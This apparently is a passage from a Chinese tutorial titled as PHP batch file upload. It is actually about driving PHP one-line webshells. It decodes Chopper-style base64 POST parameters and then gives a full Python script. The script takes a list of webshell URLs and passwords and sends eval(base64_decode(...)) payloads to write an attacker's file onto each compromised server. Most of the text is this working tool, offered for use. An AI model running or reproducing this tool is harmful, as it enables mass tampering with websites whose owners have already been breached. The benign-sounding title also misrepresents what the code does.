php实现批量上传文件,PHP实现批量上传单个文件,
3. 在z0中继续调用base64解码后的z1和z2,解码后如下:
z1=/var/www/root/1.txt
z2=hello world!
至此,我们可以很清楚的发现上面的POST请求的作用实际上是将一个写有hello world!的名为1.txt的文件上传至服务器上/var/www/root/路径下。
0×02 代码实现
基于上面的原理分析,我们可以利用下面的代码基于php一句话来实现文件批量上传:
#!/usr/bin/python
#coding=utf-8
import urllib
import urllib2
import sys
import base64
import re
def post(url, data):
req = urllib2.Request(url)
data = urllib.urlencode(data)
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor())
response = opener.open(req, data)
return response.read()
def get_shell_path(posturl,passwd):
shell_path = ""
try:
data = {}
data[passwd] = '@eval(base64_decode($_POST[z0]));'
data['z0']='ZWNobyAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ107'
shell_path = post(posturl, data).strip()
except Exception:
pass
return shell_path
def main():
print '\n+++++++++Batch Uploading Local File (Only for PHP webshell)++++++++++\n'
shellfile = sys.argv[1] # 存放webshell路径和密码的文件
localfile = sys.argv[2] # 本地待上传的文件名
shell_file = open(shellfile,'rb')
local_content = str(open(localfile,'rb').read())
for eachline in shell_file:
posturl = eachline.split(',')[0].strip()
passwd = eachline.split(',')[1].strip()
try:
reg = ".*/([^/]*\.php?)"
match_shell_name = re.search(reg,eachline)
if match_shell_name:
shell_name=match_shell_name.group(1)
shell_path = get_shell_path(posturl,passwd).strip()
target_path = shell_path.split(shell_name)[0]+localfile
target_path_base64 = base64.b64encode(target_path)
target_file_url = eachline.split(shell_name)[0]+localfile
data = {}
data[passwd] = '@eval(base64_decode($_POST[z0]));'
data['z0']='QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOwokYz1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7CiRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOwokYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTsKJGJ1Zj0iIjsKZm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MSkKICAgICRidWYuPXN1YnN0cigkYywkaSwxKTsKZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1ZikpOwplY2hvKCJ8PC0iKTsKZGllKCk7'
data['z1']=target_path_base64
data['z2']=base64.b64encode(local_content)
response = post(posturl, data)
if response:
print '[+] '+target_file_url+', upload succeed!'
else:
print '[-] '+target_file_url+', upload failed!'
else:
print '[-] '+posturl+', unsupported webshell!'
except Exception,e:
print '[-] '+posturl+', connection failed!'
shell_file.close()
if __name__ == '__main__':
main()
webshell.txt的格式: [一句话webshell文件路径],[webshell连接密码]如下:
http://www.example1.com/1.php, 1
http://www.example2.com/1.php, 1
http://www.example3.com/1.php, 1
保存上面脚本为batch_upload_file.py,执行命令python batch_upload_file.py webshell.txt 1.txt,效果显示如下:
以上内容给大家介绍了PHP实现批量上传单个文件的相关知识,希望大家喜欢。
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